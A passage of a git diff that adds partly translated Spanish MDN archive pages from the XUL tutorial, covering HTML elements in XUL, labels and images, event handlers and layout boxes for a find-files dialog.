+<p>These examples will create an image from the file banner.jpg, a checkbox and a single-cell table. You should always use XUL features if they are available and you probably should not use tables for layout in XUL. (There are XUL elements for doing layout). Notice that the prefix html: was added to the front of each tag. This is so that Mozilla knows that this is an HTML tag and not a XUL one. If you left out the html: part, the browser would think that the elements were XUL elements and they would not display because img, input, table, and so on are not valid XUL tags.</p>
+<p>In XUL, you can add labels with the <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_description.html">description</a></code> or <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_label.html">label</a></code> element. You should use these elements when you can. You can also add labels to controls either by using the HTML <code>label</code> element, or you can simply put the text inside another HTML block element (such as <code>p</code> or <code>div</code>) as in the example below.</p>
+<h4 id="Example" name="Example">Example</h4>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_htmlelem_1.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_htmlelem_1.xul">Ver en funcionamiento</a></p>
+<pre>&lt;html:p&gt;
+  Search for:
+  &lt;html:input id="find-text"/&gt;
+  &lt;button id="okbutton" label="OK"/&gt;
+&lt;/html:p&gt;
+</pre>
+<p>This code will cause the text 'Search for:' to be displayed, followed by an input element and an OK button. Notice that the XUL button can appear inside the HTML elements, as it does here. Plain text will only be displayed when placed inside an HTML element that would normally allow you to display text (such as a <code>p</code> tag). Text outside of one will not be displayed, unless the XUL element the text is inside allows this (the <code>description</code> element, for example). The examples below may help.</p>
+<h3 id="Ejemplos_de_elementos_HTML" name="Ejemplos_de_elementos_HTML">Ejemplos de elementos HTML</h3>
+<p>What follows are some examples of adding HTML elements to windows. In each case, the window and other common information has been left out for simplicity.</p>
+<h4 id="Example_A_dialog_with_a_check_box" name="Example:_A_dialog_with_a_check_box">Example: A dialog with a check box</h4>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_htmlelem_2.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_htmlelem_2.xul">Ver en funcionamiento</a></p>
+<pre>&lt;html:p&gt;
+  Click the box below to remember this decision.
+  &lt;html:p&gt;
+    &lt;html:input id="rtd" type="checkbox"/&gt;
+    &lt;html:label for="rtd"&gt;Remember This Decision&lt;/html:label&gt;
+  &lt;/html:p&gt;
+&lt;/html:p&gt;
+</pre>
+<p>In this case, one <code>p</code> tag was used to place the text in and another was used to break apart the text into multiple lines.</p>
+<p><img alt="Image:htmlelem-ex1.jpg"></p>
+<h4 id="Example_Text_outside_of_HTML_blocks" name="Example:_Text_outside_of_HTML_blocks">Example: Text outside of HTML blocks</h4>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_htmlelem_3.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_htmlelem_3.xul">Ver en funcionamiento</a></p>
+<pre>&lt;html:div&gt;
+    Would you like to save the following documents?
+    &lt;html:hr/&gt;
+&lt;/html:div&gt;
+Expense Report 1
+What I Did Last Summer
+&lt;button id="yes" label="Yes"/&gt;
+&lt;button id="no" label="No"/&gt;
+</pre>
+<p><img alt="Image:htmlelem-ex2.jpg"></p>
+<p>As can be seen in the image, the text inside the <code>div</code> tag was displayed but the other text (Expense Report 1 and What I Did Last Summer) was not. This is because there is no HTML or XUL element capable of displaying text enclosing it. To have this text appear, you would need to put it inside the <code>div</code> tag, or enclose the text in a <code>description</code> tag.</p>
+<h4 id="Example_Invalid_HTML_elements" name="Example:_Invalid_HTML_elements">Example: Invalid HTML elements</h4>
+<pre>&lt;html:po&gt;Case 1&lt;/html:po&gt;
+&lt;div&gt;Case 2&lt;/div&gt;
+&lt;html:description value="Case 3"/&gt;
+</pre>
+<p>All three of the cases above will not display, each for a different reason.</p>
+<dl>
+ <dt>
+  Case 1 </dt>
+ <dd>
+  <code>po</code> is not a valid HTML tag and Mozilla has no idea what to do with it.</dd>
+ <dt>
+  Case 2 </dt>
+ <dd>
+  <code>div</code> is valid but only in HTML. To get it to work, you will need to add the html: qualifier.</dd>
+ <dt>
+  Case 3 </dt>
+ <dd>
+  A <code>description</code> element is only valid in XUL and not in HTML. It should not have the html: qualifier.</dd>
+</dl>
+<p>Next, we'll learn how to adding spacing between elements. <span class="comment">Categorías</span></p>
+<p><span class="comment">links interwikis</span></p>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/añadiendo_etiquetas_e_imagenes/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/añadiendo_etiquetas_e_imagenes/index.html
new file mode 100644
index 0000000000..2ab6c737b7
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/añadiendo_etiquetas_e_imagenes/index.html
@@ -0,0 +1,54 @@
+---
+title: Añadiendo etiquetas e imagenes
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Añadiendo_etiquetas_e_imagenes
+tags:
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Adding_Labels_and_Images
+---
+<p>Esta sección describe un modo de añadir etiquetas e imágenes a una ventana. Además, veremos como incluir elementos en grupos.</p>
+<h3 id="Elementos_de_Texto" name="Elementos_de_Texto">Elementos de Texto</h3>
+<p>Usted no puede integrar el texto directamente en un archivo XUL sin etiquetas alrededor de ello y esperar que ello sea mostrado. El modo más básico de incluir el texto en una ventana es de usar el elemento de etiqueta. Muestran un ejemplo debajo:</p>
+<h4 id="Ejemplo" name="Ejemplo">Ejemplo</h4>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_textimage_1.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_textimage_1.xul">Ver en funcionamiento</a></p>
+<pre>&lt;label value="This is some text"/&gt;
+</pre>
+<p>El atributo de <code>valor</code> puede ser usado para especificar el texto que usted desea tener mostrado. El texto no se ajustará, de tal forma que el texto aparecerá sobre una sola línea. Esto es conveniente para las secciones cortas de texto.</p>
+<p>Para el texto más largo, usted puede colocar el contenido dentro de etiquetas de <a class="external" href="http://www.xulplanet.com/references/elemref/ref_description.html">descripción</a> de apertura y cierre. A diferencia del texto especificado con el elemento de <a class="external" href="http://www.xulplanet.com/references/elemref/ref_label.html">etiqueta</a> y el atributo de <code>valor</code>, el texto hijo se ajustará en múltiples líneas si fuera necesario. Redimensione la ventana para ver lo ajustado. Como HTML, saltos de línea y espacios en blanco extras son colapsados en un solo espacio. Más adelante descubriremos como contraemos la anchura de elementos de modo que nosotros podamos ver la envoltura más fácilmente.</p>
+<h4 id="Ejemplo_2" name="Ejemplo_2">Ejemplo</h4>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_textimage_2.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_textimage_2.xul">Ver en funcionamiento</a></p>
+<pre>&lt;description&gt;
+  This longer section of text is displayed.
+&lt;/description&gt;
+</pre>
+<p>Internamente, tanto el elemento de <code>etiqueta</code> como el elemento de <code>descripción</code> son lo mismo, lo cual significa que las etiquetas pueden tener texto ajustado si usted coloca el texto dentro de la ´etiqueta´, y las descripciones pueden tener un atributo de <code>valor</code>. El elemento de etiqueta es querido para las etiquetas de mandos, como campos de texto. El elemento de <code>descripción</code> esta prometido a otro texto descriptivo como el texto informativo en el tope de un cuadro de diálogo. Por convención, usted debería seguir esta pauta.</p>
+<p>Usted puede usar el atributo de <code>control</code> para fijar cual etiqueta de control esta asociada. Cuando el usuario pulsa la etiqueta, ése control será enfocado. Ponga el valor del atributo de <code>control</code> al id del elemento que será enfocado.</p>
+<h4 id="Ejemplo_3" name="Ejemplo_3">Ejemplo</h4>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_textimage_3.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_textimage_3.xul">Ver en funcionamiento</a></p>
+<pre>&lt;label value="Click here:" control="open-button"/&gt;
+&lt;button id="open-button" label="Open"/&gt;
+</pre>
+<p><br>
+ En el ejemplo encima, pulsando la etiqueta hará que el botón sea enfocado.</p>
+<h3 id="Im.C3.A1genes" name="Im.C3.A1genes">Imágenes</h3>
+<p>Como HTML, XUL tiene un elemento para mostrar imágenes dentro de una ventana. Este elemento es adecuadamente llamado <a class="external" href="http://www.xulplanet.com/references/elemref/ref_image.html">image</a>. Note que el nombre de etiqueta es diferente que en HTML (image en vez de img). Usted puede usar el atributo de <code>src</code> para especificar el URL del archivo de imagen. El ejemplo debajo muestra esto:</p>
+<pre>&lt;image src="images/banner.jpg"/&gt;
+</pre>
+<p>Aunque usted pueda usar esta sintaxis, sería mejor usar una hoja de estilo para poner la URL de la imagen. En sesiones posteriores describiremos como usar hojas de estilo, pero un ejemplo se mostrá aqui para ampliar. Usted puede usar <code>lista-estilo-imagen</code> de la propiedad CSS para poner el URL para la imagen. Aquí están algunos ejemplos:</p>
+<pre class="eval"><b>XUL:</b>
+ &lt;image id="image1"/&gt;
+ &lt;image id="search"/&gt;
+</pre>
+<pre class="eval"><b>Style Sheet:</b>
+ #image1 {
+   list-style-image: url("<a class="external" rel="freelink">chrome://findfile/skin/banner.jpg</a>");
+ }
+
+ #search {
+   list-style-image: url("<a class="external" rel="freelink">chrome://findfile/skin/images/search.jpg</a>");
+ }
+</pre>
+<p>Estas imágenes vienen desde dentro del directorio chrome, en el skin para el paquete findfile. Puesto que estas imágenes varían por el piel, usted debe usualmente poner una imagen en el directorio skin.</p>
+<p>En la próxima sesión, aprenderemos como añadir algunos controles a una ventana.</p>
+<p><span class="comment">Categorías</span></p>
+<p><span class="comment">links interwikis</span></p>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/añadiendo_los_gestores_de_eventos/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/añadiendo_los_gestores_de_eventos/index.html
new file mode 100644
index 0000000000..41b1cce66c
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/añadiendo_los_gestores_de_eventos/index.html
@@ -0,0 +1,133 @@
+---
+title: Añadiendo los gestores de eventos
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Añadiendo_los_gestores_de_eventos
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+  - páginas_a_traducir
+translation_of: Archive/Mozilla/XUL/Tutorial/Adding_Event_Handlers
+---
+<p>The find files dialog so far looks quite good. We haven't cleaned it up much but we have created a simple user interface easily. Next, we will show how to add scripts to it.</p>
+
+<h3 id="Usando_scripts" name="Usando_scripts">Usando scripts</h3>
+
+<p>Para hacer funcional el diálogo de búsqueda de archivos, necesitaremos algunos scripts los cuales se ejecutarán cuando el usuario interactúe con el diálogo. Podríamos querer agregar un script para manejar el botón Buscar, el botón Cancelar y manejar cada comando del menú. Escribimos esto utilizando funciones <a href="/es/JavaScript" title="es/JavaScript">JavaScript</a> muchas de la misma forma que en <a href="/es/HTML" title="es/HTML">HTML</a>.</p>
+
+<p>Puede utilizar el elemento <code><a href="/es/XUL/Elementos#script" title="es/XUL/Elementos#script">script</a></code> para incluir scripts en archivos XUL. Puede incluir el código script directamente en el archivo XUL entre la apertura y cierre de etiquetas <code>script</code> pero es mucho mejor incluir código en un archivo separado ya que de esta manera la ventana XUL cargará ligeramente más rápido. El atributo <code><a href="/Es/XUL/Atributos#src" title="Es/XUL/Atributos#src">src</a></code> es utilizado para enlazar un archivo script externo.</p>
+
+<div class="highlight">
+<h5 id="Nuestro_ejemplo" name="Nuestro_ejemplo">Nuestro ejemplo</h5>
+
+<p>Agreguemos un script al diálogo buscar archivo. Aunque no importe cómo sea llamado el archivo script, generalmente debería ser el mismo que el archivo XUL con una extensión <em>.js</em>. En este caso, findfile.js será utilizado. Agregue la línea debajo sólo <strong>después de la apertura de la etiqueta <code><a href="/es/XUL/Elementos#window" title="es/XUL/Elementos#window">window</a></code> y antes de cualquier otro elemento</strong>.</p>
+
+<pre class="eval"><span class="highlightred">&lt;script src="findfile.js"/&gt;</span>
+</pre>
+
+<div class="note">Nota: Al agregar el elemento <em>script</em> directamente bajo el elemento <em>window</em> su ámbito será el documento completo. Si se anida bajo otra etiqueta su ámbito se restringirá a los elementos anidados en ella, y no sera "visible" para otras zonas de documento.</div>
+
+<p>Crearemos el archivo script más tarde cuando conozcamos qué queremos poner en él. Definiremos algunas funciones en el archivo y podremos llamarlas desde un manejador de eventos.</p>
+</div>
+
+<p>Puede incluir scripts múltiples en un archivo XUL utilizando múltiples etiquetas <code>script</code>, cada una apuntando a un script diferente. Puede utilizar URLs relativas o absolutas. Por ejemplo, puede utilizar URLs de la siguiente forma:</p>
+
+<pre class="eval">&lt;script src="findfile.js"/&gt;
+&lt;script src="<a class="external" rel="freelink">chrome://findfiles/content/help.js</a>"/&gt;
+&lt;script src="<span class="nowiki">http://www.example.com/js/items.js</span>"/&gt;
+</pre>
+
+<p>Este tutorial no intenta describir cómo utilizar JavaScript ya que esto es un tópico extenso y hay variedades de otras fuentes que están disponibles para esto.</p>
+
+<div class="note">Por defecto la consola JavaScript sólo muestra errores desde contenido de red. Para mostrar errores en JavaScript chrome, es necesario cambiar la preferencia <code>javascript.options.showInConsole</code> a verdadero. Puede también cambiar la preferencia <code>javascript.options.strict</code> para la depuración. Estableciendo este valor a verdadero, la sintaxis propensa, pobremente escrita y no estándar causa errores lógicos que son guardados en la consola JavaScript.</div>
+
+<h3 id="Respuesta_a_eventos" name="Respuesta_a_eventos">Respuesta a eventos</h3>
+
+<p>El script contendrá código que responderá a varios eventos disparados por el usuario u otras situaciones. Hay más de treinta eventos diferentes que pueden ser manejados de formas distintas. Un evento típico es que el usuario presione un botón del ratón o presione una tecla. Cada elemento XUL tiene la habilidad de disparar varios eventos en diferentes situaciones. Algunos eventos son disparados solamente por determinados elementos.</p>
+
+<p>Cada evento tiene un nombre, por ejemplo, 'mousemove' es el nombre del evento que es disparado cuando el usuario mueve el ratón sobre un elemento de la Interfaz de Usuario. XUL utiliza el mismo mecanismo de evento definido en <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/">eventos DOM</a>. Cuando una acción ocurre que debería disparar un evento, tal como que el usuario mueva el ratón, se crea un objeto evento correspondiente a tal tipo de evento. Las propiedades de dicho objeto se establecen de modo que ofrezca información asociada a la circunstancia en que se produjo, tal como: la posición del ratón, la(s) tecla(s) que fue(ron) presionada(s), el botón del ratón que se utilizó, etc.</p>
+
+<p>El evento es enviado luego en fases al XUL.</p>
+
+<ul>
+ <li>En la fase de captura, el evento primero es enviado a la ventana, luego al documento, seguido por cada ancestro del elemento XUL donde el evento ocurrió hacia abajo hasta que alcance el elemento.</li>
+ <li>En la fase objetivo, el evento es enviado hacia el elemento objetivo XUL.</li>
+ <li>En la fase burbujeante, el evento es enviado a cada elemento de más atrás hasta que alcance nuevamente la ventana.</li>
+</ul>
+
+<p>Puede responder a un evento durante la captura completa de la fase burbujeante. Una vez que el evento ha finalizado de propagarse, cualquier acción por defecto ocurrirá, la cual está incluida en comportamiento del elemento.</p>
+
+<p>Por ejemplo, cuando el ratón sea movido sobre un botón que está dentro de un cuadro, un evento 'mousemove' es generado, y enviado primero a la ventana, seguido por el documento, y luego al cuadro. Eso completa la fase de captura. Luego, el evento 'mousemove' es enviado al botón. Finalmente, la fase burbujeante es esencialmente lo inverso a la fase de captura. Note que algunos eventos no hacen la fase burbujeante.</p>
+
+<p>Puede adjuntar oyentes a cada elemento a ser oído por los eventos durante cada paso de la propagación de eventos. Debido a la forma en que un evento simple es pasado a todos los ancestros, puede adjuntar un oyente a un elemento específico o a un elemento más grande en la jerarquía. Naturalmente, un evento adjunto a un elemento más grande recibirá la notificación de todos los elementos dentro de él, mientras que un evento adjunto a un botón sólo recibirá eventos preparados para ese botón. Esto es útil si hay varios elementos que querrían manejarse utilizando el mismo código o similar.</p>
+
+<p>El evento más común utilizado es el evento 'command'. El evento command es disparado cuando un usuario activa un elemento, por ejemplo presionando un botón, cambiando una casilla de verificación o seleccionando un ítem desde un menú. El evento command es un evento útil ya que automática maneja distintas formas de activar el elemento. Por ejemplo, el evento command ocurrirá sin importar si el usuario utiliza el ratón para seleccionar un botón o presionar la tecla Enter.</p>
+
+<p>Hay dos formas de adjuntar un evento oyente a un elemento. Primero, utilizando un atributo con script como su valor. Segundo, llamando a un método del evento addEventListener. El primero sólo puede manejar eventos burbujeantes pero tiende a ser más simple de escribir. El último puede manejar eventos en cualquier fase y puede también ser utilizado para adjuntar múltiples oyentes para un evento en un elemento. Utilizando la forma atributo es más común para la mayoría de eventos.</p>
+
+<h3 id="Attribute_Event_Listeners" name="Attribute_Event_Listeners">Atributos controladores de eventos</h3>
+
+<p>Para controlar eventos bajo la forma de atributos se debe asignar un atributo asociado con el evento a controlar en el elemento en en que se desea atraparlo: el atributo será el nombre del evento precedido del prefijo 'on' y se le asignará como valor un llamado a la función o script que se desea ejecutar cuando ocurra el evento. Por ejemplo, para el evento '<em>command</em>' el atributo correspondiente será '<em>oncommand</em>' y para '<em>mouseover</em>' será '<em>onmouseove</em>r'. El código de llamado a la función suele ser muy corto y generalmente llama a un procedimiento que ha sido definido en una etiqueta script o en un archivo separado. A continuación se ofrece un ejemplo de tratamiento de evento en respuesta a pulsar un botón:</p>
+
+<p><strong>Ejemplo 1</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_events_1.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_events_1.xul">Ver en funcionamiento</a></p>
+
+<pre class="eval">&lt;button label="OK" oncommand="alert('Se apretó el botón!');"/&gt;
+</pre>
+
+<p>Como el evento command permea las capas contenedoras (es burbujeante), también es posible ubicar el controlador de eventos en un elemento contenedor. En el ejemplo siguiente, el atributo controlador se establece en una caja y ésta atrapa eventos de los dos elementos que contiene.</p>
+
+<p><strong>Ejemplo 2</strong> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_events_2.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_events_2.xul">Ver en funcionamiento</a></p>
+
+<pre class="eval">&lt;vbox oncommand="alert(event.target.tagName);"&gt;
+  &lt;button label="OK"/&gt;
+  &lt;checkbox label="Muestra las imágenes"/&gt;
+&lt;/vbox&gt;
+</pre>
+
+<p>En este ejemplo, el evento command se filtrará desde el elemento en que ocurra - button o checkbox - hasta el elemento vbox, donde es controlado. Si se hubiese colocado un segundo controlador de eventos (atributo <code>oncommand</code>) en el elemento button, su código sería invocado antes, seguido del manejador situado en el elemento vbox. Los controladores de eventos reciben, como argumento implícito, un objeto event al que se puede hacer referencia en código mediante la variable 'event'. Dicho objeto porta, en sus propiedades, la información que específicamente concierne al evento. Cuando varios elementos comparten un controlador de eventos (como en este ejemplo) es usual utilizar la propiedad 'target' del objeto event (<code>event.target</code>), que alberga una referencia al elemento en el que ocurrió. En el código de ejemplo se hace un llamado a la ventana de mensajes para que muestre el nombre de la etiqueta 'tagName' del elemento en que ocurra. La propiedad target resulta útil para controlar la permeabilidad de eventos burbujeantes, de modo que un conjunto de elementos, buttons por ejemplo, comparta y sea controlado mediante un único script.</p>
+
+<div class="note"><strong>Nota de traducción</strong>: Si se anida controladores de eventos, para un mismo evento, en varias capas; se debe tener cuidado de cancelarlo, una vez controlado en una capa, para evitar que se dispare nuevamente en los controladores situados en las capas contenedoras. A no ser que se desee realizar acciones en cascada.</div>
+
+<p>Se debe notar que la sintaxis para establecer los atibitos controladores es similar a la empleada para asignar eventos en documentos HTML. De hecho, HTML y XUL comparten el mismo mecanismo de definición de eventos. No obstante, <strong>hay una diferencia importante</strong>: mientras que en HTML se usa el evento 'click' (o el atributo <code>onclick</code>) para responder a acciones sobre los buttons, en XUL se debe usar el evento command en su lugar. XUL soporta el evento click, pero este sólo responde a acciones del ratón (mouse), no al uso del teclado. En consecuencia, se debe evitar el uso del evento click en XUL, a no ser que se tenga alguna razón para responder de modo exclusivo a acciones provocadas con el mouse (ratón). Adicionalmente, cuando se deshabilita un elemento, este no disparará eventos command; mientras que el evento click se produce con independencia de que el elemento en que se dispare esté o no habilitado.</p>
+
+<div class="highlight">
+<h5 id="Nuestro_ejemplo_2" name="Nuestro_ejemplo_2">Nuestro ejemplo</h5>
+
+<p>Un gestor command se puede agregar a los botones Buscar y Cancelar del diálogo de búsqueda de archivos. Presionar el botón Buscar debe iniciar la búsqueda. Como aún no vamos a implementar el proceso de búsqueda, dejaremos esta parte fuera por un rato. Presionar el botón Cancelar debe cerrar la ventana. El código de abajo muestra como hacer esto. Mientras estamos aquí, añadimos el mismo código al menuitem Cerrar.</p>
+
+<pre class="eval">&lt;menuitem label="Cerrar" accesskey="c" <span class="highlightred">oncommand="window.close();"</span>/&gt;
+...
+
+&lt;button id="cancel-button" label="Cancelar"
+     <span class="highlightred">oncommand="window.close();</span>"/&gt;
+</pre>
+
+<p>Aquí se añadieron dos gestores. El atributo <code>oncommand</code> fue añadido al menuitem Cerrar. Usando este gestor, el usuario podrá cerrar la ventana dando click al menuitem con el mouse o seleccionándolo con el teclado.El gestor <code>oncommand</code> también fue añadido al botón Cancelar.</p>
+</div>
+
+<h3 id="DOM_Event_Listeners" name="DOM_Event_Listeners">Controladores de eventos asignados mediante métodos del DOM</h3>
+
+<p>Una segunda vía para asignar controladores de eventos a los elementos es usar su método addEventListener. Este camino permite agregarlos dinámicamente y escucharlos durante la fase de captura. A continuación se ilustra la sintaxis:</p>
+
+<p><strong>Ejemplo 3</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_events_3.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_events_3.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;button id="okbutton" label="OK"/&gt;
+
+&lt;script&gt;
+function buttonPressed(event){
+  alert('Se apretó el botón!');
+}
+
+var button = document.getElementById("okbutton");
+button.addEventListener('command', buttonPressed, true);
+&lt;/script&gt;
+</pre>
+
+<p>La función <code><a href="/es/DOM/document.getElementById" title="es/DOM/document.getElementById">getElementById()</a></code> devuelve el elemento cuyo Id sea pasado como parámetro; en este caso, el button <code>"okbutton"</code>. Luego se llama a la función <code><a href="/es/DOM/element.addEventListener" title="es/DOM/element.addEventListener">addEventListener()</a></code> de dicho elemento para agregarle un controlador de eventos: su primer argumento es el nombre del evento al que se va a responder, el segundo es el mombre de la función a llamar cuando el evento ocurra y finalmente, el último argumento debe ser <code>true</code> para controladores en la fase de captura. Si se desea permitir que el evento pase a otras fases se debe asignar el último argumenta como false. La función pasada como segundo argumento, debe a su vez, tener un argumento para pasar el objeto event, como se muestra en la declaración de la función <code>buttonPressed</code> arriba.</p>
+
+<div class="highlight">Nuestro ejemplo hasta aquí: <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-events.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-events.xul">Ver en funcionamiento</a></div>
+
+<p>Seguimos con más detalles sobre <a href="/es/Tutorial_de_XUL/Más_gestores_de_eventos" title="es/Tutorial_de_XUL/Más_gestores_de_eventos">los eventos</a>.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Menúes_con_desplazamiento" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Más_gestores_de_eventos">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/añadiendo_más_elementos/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/añadiendo_más_elementos/index.html
new file mode 100644
index 0000000000..5ac33e16d8
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/añadiendo_más_elementos/index.html
@@ -0,0 +1,98 @@
+---
+title: Añadiendo más elementos
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Añadiendo_más_elementos
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+  - páginas_a_traducir
+translation_of: Archive/Mozilla/XUL/Tutorial/Adding_More_Elements
+---
+<p>Concluiremos la discusión de cajas adicionando algunas al diálogo de encontrar archivos.</p>
+
+<h3 id="A.C3.B1adiendo_elementos_al_ejemplo_de_encontrar_archivos" name="A.C3.B1adiendo_elementos_al_ejemplo_de_encontrar_archivos">Añadiendo elementos al ejemplo de encontrar archivos</h3>
+
+<p>Vamos a agregar ahora algunos elementos al diálogo de encontrar archivos. Primero, vamos a adicionar la capacidad de búsqueda por otra información, tal como el tamaño y la fecha del archivo.</p>
+
+<pre class="eval">&lt;hbox&gt;
+  <span class="highlightred">&lt;menulist id="searchtype"&gt;
+    &lt;menupopup&gt;
+      &lt;menuitem label="Name"/&gt;
+      &lt;menuitem label="Size"/&gt;
+      &lt;menuitem label="Date Modified"/&gt;
+    &lt;/menupopup&gt;
+  &lt;/menulist&gt;
+  &lt;spacer style="width: 10px;"/&gt;
+  &lt;menulist id="searchmode"&gt;
+    &lt;menupopup&gt;
+      &lt;menuitem label="Is"/&gt;
+      &lt;menuitem label="Is Not"/&gt;
+    &lt;/menupopup&gt;
+  &lt;/menulist&gt;
+  &lt;spacer style="width: 10px;"/&gt;</span>
+  &lt;textbox id="find-text" flex="1" style="min-width: 15em;"/&gt;
+&lt;/hbox&gt;
+</pre>
+
+<div class="float-right"><img alt="Image:boxfinal1.png"></div>
+
+<p>Dos <a href="es/Tutorial_de_XUL/Controles_de_listas#Listas_desplegables">cajas de listas desplegables</a> son añadidas al diálogo. Un <a href="es/Tutorial_de_XUL/Usando_espaciadores">espaciador</a> ha sido adicionado en medio de cada elemento para separarlos. Estos espaciadores han dado un ancho específico de 10 pixeles cada uno. Usted notará que si la ventana es redimensionada, la caja de texto crece pero los otros componentes no. Igualmente notará que la etiqueta fué removida.</p>
+
+<p>Si usted redimensiona la ventana verticalmente, el elemento no cambia su tamaño. Esto es debido a que está dentro de cajas horizontales. Lo mas apropiado sería que los botones de Encontrar y Cancelar permanecieran siempre al fondo de la ventana. Esto es fácil de hacer agregando un espaciador en medio de las dos cajas horizontales.</p>
+
+<pre class="eval"><span class="highlightred">&lt;spacer style="height: 10px"/&gt;</span>
+&lt;hbox&gt;
+  &lt;menulist id="searchtype"&gt;
+    &lt;menupopup&gt;
+      &lt;menuitem label="Nombre"/&gt;
+      &lt;menuitem label="Medida"/&gt;
+      &lt;menuitem label="Fecha de modificación"/&gt;
+    &lt;/menupopup&gt;
+  &lt;/menulist&gt;
+  &lt;spacer style="width: 10px;"/&gt;
+  &lt;menulist id="searchmode"&gt;
+    &lt;menupopup&gt;
+      &lt;menuitem label="Es"/&gt;
+      &lt;menuitem label="No es"/&gt;
+    &lt;/menupopup&gt;
+  &lt;/menulist&gt;
+  &lt;spacer style="width: 10px;"/&gt;
+  &lt;textbox id="find-text" flex="1" style="min-width: 15em;"/&gt;
+&lt;/hbox&gt;
+
+<span class="highlightred">&lt;spacer style="height: 10px" flex="1"/&gt;</span>
+
+&lt;hbox&gt;
+</pre>
+
+<p>Ahora cuando el diálogo es redimensionado, los dos botones se moverán ya que estan siempre a lo largo del fondo del diálogo. El primer <a href="es/XUL/Elemento">espaciador</a> añade espacio extra en medio de la etiqueta del título y los elementos del criterio de búsqueda.</p>
+
+<p>Se vería mejor si hubiera un borde al rededor de los criterios de búsqueda. Hay dos formas de hacer esto. Podemos utilizar la propiedad CSS <code>border</code> de CSS o podemos utilizar el elemento <code><a href="es/XUL/Elemento">caja de grupo</a></code>. Este primer método puede requerir que coloquemos el estilo en la caja como tal. Sin embargo, vamos a utilizar el último método. Un <a href="es/Tutorial_de_XUL/Cajas_de_grupo">caja de grupo</a> tiene la ventaja de que dibuja una caja con un bonito estilo biselado, adecuado para el tema actual.</p>
+
+<p>Vamos a cambiar la caja dentro de un <code>groupbox</code>:</p>
+
+<p><span class="nowiki">Aquí inserta texto sin formato</span> <span class="highlightred">&lt;groupbox orient="horizontal"&gt;</span></p>
+
+<pre class="eval">  <span class="highlightred"><span class="nowiki">&lt;caption label="Search Criteria"/&gt;</span></span>
+  &lt;menulist id="searchtype"&gt;
+  .
+  .
+  .
+  &lt;spacer style="width: 10px;"/&gt;
+  &lt;textbox id="find-text" flex="1" style="min-width: 15em;"/&gt;
+<span class="highlightred">&lt;/groupbox&gt;</span>
+</pre>
+
+<div class="float-right"><img alt="Image:boxfinal2.png"></div>
+
+<p>Existen otros problemas cosméticos como tal. Podemos también tener que el groupbox crece de tal forma que se extiende verticalmente al final de la caja. También, podemos modificar algunos de los márgenes de tal forma que los elementos queden mejor posicionados.</p>
+
+<p>Veremos más ejemplos del modelo de caja y algunos de sus rasgos a medida que continuemos agregando elementos durante el tutorial.</p>
+
+<p>Ejemplo de encontrar archivos <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-boxfinal.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-boxfinal.xul">Ver en funcionamiento</a></p>
+
+<p>Seguido, veremos como <a href="es/Tutorial_de_XUL/Pilas_y_barajas">crear pilas</a>.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Cajas_de_grupo" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Pilas_y_barajas">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/barra_de_herramientas/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/barra_de_herramientas/index.html
new file mode 100644
index 0000000000..722fd6fb36
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/barra_de_herramientas/index.html
@@ -0,0 +1,60 @@
+---
+title: Barra de Herramientas
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Barra_de_Herramientas
+tags:
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Toolbars
+---
+<p> </p>
